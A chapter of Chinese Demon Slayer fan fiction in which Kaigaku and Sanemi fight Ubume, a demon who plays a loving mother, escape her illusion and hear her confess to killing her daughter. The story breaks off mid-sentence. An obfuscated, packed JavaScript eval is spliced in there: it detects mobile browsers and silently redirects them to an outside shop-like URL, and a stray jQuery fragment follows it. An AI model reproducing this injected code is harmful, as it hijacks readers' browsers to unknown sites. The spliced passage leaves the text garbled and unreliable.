“终于又遇到了下弦...”最近一直遇不到称心恶鬼的狯岳满意地掏出断刃,打算直接干掉眼前的女鬼。
可惜要和旁边那个讨人厌的家伙共享成果了,果然想要尽快成为柱不光考验实力,还是一个很考验运气的事情。
“真是两个可怜的孩子...”姑获鸟落下虚假的眼泪:“会来到这里,你们肯定遭受过亲人的虐待吧。只要看一眼我就全都明白了。虐待你们的是父亲还是母亲,还是两个人都虐待你们了?”
“你这混蛋!”实弥听到她侮辱自己的母亲,愤怒地发起攻击。
“喂,那个被香奈惠认可的葵级队员!比比看谁先砍掉这个女鬼的头吧!”
“风之呼吸壹之型:尘旋风·削斩!”
姑获鸟轻巧地跃起,避开了实弥的攻击,她的笑容艳若春光,仿佛在注视着一个调皮捣蛋的孩子。
“你这样可不行啊,哪有孩子会将刀刃对准自己的母亲...”她话还没说完,脖子上就出现一条血线。
“太慢了,废物。”狯岳已经站在她的身后,一剑就斩下了她的头颅。
她的血液飞溅,溅满了整个房间,在她血液滴落的地方都长出了血红色的曼珠沙华,同时屋内那令人难以忍受的香味更加浓郁了。
下一瞬,房间整个变了样,所有的墙壁、地板和天花板都变成了蠕动的红色肉块,姑获鸟落在地上的头颅又飞回到了她的脖子上。
死去的三个人的遗体被肉壁吞噬,姑获鸟伸出猩红的舌舔了舔自己的嘴唇。
“真是个恶心的杂鱼。”狯岳从不吝于对鬼的评价。
“你们现在在我的腹中哦,而在我的腹中,你们是杀不掉我的。”姑获鸟并不在意他的恶语相向:“来吧孩子们,投向妈妈的拥抱吧。”
她张开双臂:“放弃挣扎成为我的孩子吧,我能看到你的内心,你在不满,不满于你的师父不偏爱你,不愿意把你作为唯一的继承人吗?你在痛苦,在痛苦这个世上没有你的归宿、没有爱你的亲人吧,成为我的孩子吧狯岳,我会给予你无私的母爱。”
“啧,你倒是口舌伶俐,”狯岳并不在意她的话,换做曾经的他可能真的会被这几句发言迷惑到,可是现在听着脑中那个笨蛋聒噪的声音,他发出一声冷笑。
“说着什么爱你的孩子这种虚伪的话,实际上你就是沉迷于角色扮演吧。可笑的家伙,演起好妈妈把自己都骗过去了。”
“扮演?你怎么能这样说呢?我的女儿被病魔夺走了她可怜的生命,所以我在宅子里照顾那些不被父母疼爱的孩子们,自愿成为他们的母亲,给予他们无私的母爱!”
“你在逗我笑吗,”狯岳握起手里的断刃:“母亲会吃掉自己的孩子?你把他们照顾得很好吗,那个队士身上的伤痕都是你划伤的吧,什么孩子,他们不都是你的储备粮吗?”
“果然啊,你也和纱江那个孩子一样,狼心狗肺不知感恩!顽皮…让我听话的孩子来教训你吧!”姑获鸟不知什么时候出现在了实弥的身旁,狯岳看到实弥的身上不知何时长出数朵瑰丽的曼珠沙华。
“这就是我的血鬼术!接受母爱的孩子将会去保护他们的母亲!”
“风之呼吸贰之型:爪爪·科户风!”
“月之呼吸伍之型:月魄灾涡!”
狯岳不得不举刀迎击。
什么时候被感染的?这个下弦一真的和之前遇到的那个下弦三一样有控制人的血鬼术吗?被控制的剑士竟然也可以使用呼吸法吗?
两人不得不在血肉构成的房间中争斗起来,而一旁的姑获鸟用一种慈爱的眼神望向他们。
“快住手啊!师兄!”善逸的声音响起:“师兄你们两个人怎么突然互砍起来了啊?!那个女鬼,她已经站到你们右面了啊!师兄,你快砍右边!”
那个女鬼明明站在他们的后方,废物师弟却在他们右侧看到了她,是幻觉型的血鬼术吗?
狯岳刀口一转,扭向右侧,妄图偷袭他的姑获鸟显露了出来。
但是这一招却穿过了她的身体:“哈哈哈…没用的,不要白费力气了!在我的腹中,你们永远无法真正地触碰到我。互相残杀吧,然后成为我的孩子,和我永远地融为一体!”
“雷之呼吸伍之型:热界雷!“
狯岳手中的断刃上突然爆发出漆黑的雷光,竟撕裂开了姑获鸟幻境的边缘。
“血鬼术?不…人类怎么会用血鬼术?!”姑获鸟惊叫,狯岳挥舞着断刃,穿透她的身体对她造成了真实的伤害。
姑获鸟只得重新构筑了实弥眼中的幻境,试图让他阻挡住狯岳砍向自己的刀刃,好趁机逃离这个房间。
但就在这时,房间里响起了类似瓷器碎裂时的脆响。
黑红色的世界被打破了,原来是被扔到这个幻境之外的匡近找到了构建幻境的香炉,将它一刀两断。
房间中那股浓厚的香气消失了,实弥和狯岳四目相对,尴尬地发现谁都没有被曼珠沙华寄生。
他们意识到他们都陷入了姑获鸟的幻境,并且误以为对方被控制然后白打了一仗。
那么为什么幻术失效了呢?
“实弥!狯岳!你们没事吧?”匡近的出现回答了他们的疑惑。
看到完好的两人,他脸上露出了安心的笑容。
原来就在刚刚他观察房间里的妆奁时,找到了里面纱江描述母亲虐待行为的信。
也许是少女的灵魂想要得到拯救,又或许是被母亲虐待致死的少女仍想要结束母亲的罪恶,镜中照出了真实的世界。
于是匡近通过妆奁的镜子找到了散发出香气的香炉,破坏掉香炉摧毁了幻境。
匡近愤怒地看向姑获鸟,眼前的这只恶鬼,害死了纱江、害死了无数的孩子,还装作慈爱的母亲。
她在作为人类时,就已经是披着人皮的恶鬼了。
“再怎么掩饰,你的恶行也终究会暴
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17082268|194822||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
露的,是被你害死的纱江帮助我毁掉了你的幻境!”
姑获鸟轻声地说:“那个孩子又一次背叛了我呢。”
匡近大声质问道:“你怎么好意思说出这种话?!是你将她一点点折磨致死的吧?!她的病明明都快要好了,是你毁掉了她的喉咙和耳朵,你怎么能对自己的亲生孩子做出这样残忍的事情来?!”
“我有什么错呢?”姑获鸟陷入回忆中,露出陶醉的神情来:“我啊,只是想获得幸福罢了。所以我一直忍受着丈夫的暴力,然而那个男人竟然想弃我而去,打破我作为贤惠的妻子的幻想,我也就只能杀掉他了。”
“我本来都想用一生去照顾纱江了,可是她居然接受不了我无微不至的爱,想要从我的身边逃走。我也是被逼无奈啊,失去了作为母亲的身份我的人生还有什么意义呢?我只是想挽回她,可是她还是死掉了。”
“我再也成为不了为丈夫倾尽所有的坚强妻子,也再也成为不了为照顾女儿劳心劳力的母亲了啊!都是因为这些不知好歹的家伙。直到这时,那位大人出现了。”
“他赐予我新的价值,他告诉我我可以成为一只强大的鬼,你们知道我成为鬼以后吃掉的第一个人是谁吗?就是纱江的尸体哦。”
姑获鸟沉浸在自己美好的回忆中:“那之后我找到了好多好多被父母虐待的孩子,我让他们进入我的腹中,和我一起过着幸福的生活。”
“想要进入被父母伤害的孩子的心十分容易,很多孩子到死前都爱着我、信赖我、感谢我。我真的十分开心、十分幸福啊。”
她血红的眼睛注视向狯岳和实弥,这个世界上可能再也找不到比这更温柔的眼神了。
她再次张开手臂:“来吧我的孩子们,我能感受到你们伤痕累累的心,我是真心想要好好疼爱被伤害的你们啊。”
“师兄才不稀罕你这个女鬼的疼爱呢!师兄有我和爷爷陪在身边,你不要胡说八道了!”善逸不顾姑获鸟听不见他的声音,大吼道。
好烦,这个废物到底知不知道这个地方只有自己能听到他的牢骚啊!
“实弥才不可怜!实弥的母亲是打心底爱着他的!”匡近也大吼道。
“我没事,匡近。”实弥苦笑着说:“你不用太在意她说的话,我从未觉得自己可怜。”
可是你的表情却又如此悲伤…匡近咬紧牙关。
“喂,你们两个不要发呆了,去把那边躺着的孩子和队员带走。”狯岳打断他们的对话:“我要解决掉这个假慈母了,你们就在一旁看着吧。”
“切,怎么可能让你一个人出风头!”实弥头上暴起青筋:“我来解决这个人渣,你和匡近呆到一旁躲着吧!”
狯岳挑挑眉,与实弥的视线撞在一起,发出噼里啪啦的电火花声。
“好了你们两个不要闹了!我去管那三个伤员,你们去解决那个女鬼吧。”匡近无奈地调和两个急功近利的弟弟,谁叫他…是兄长呢。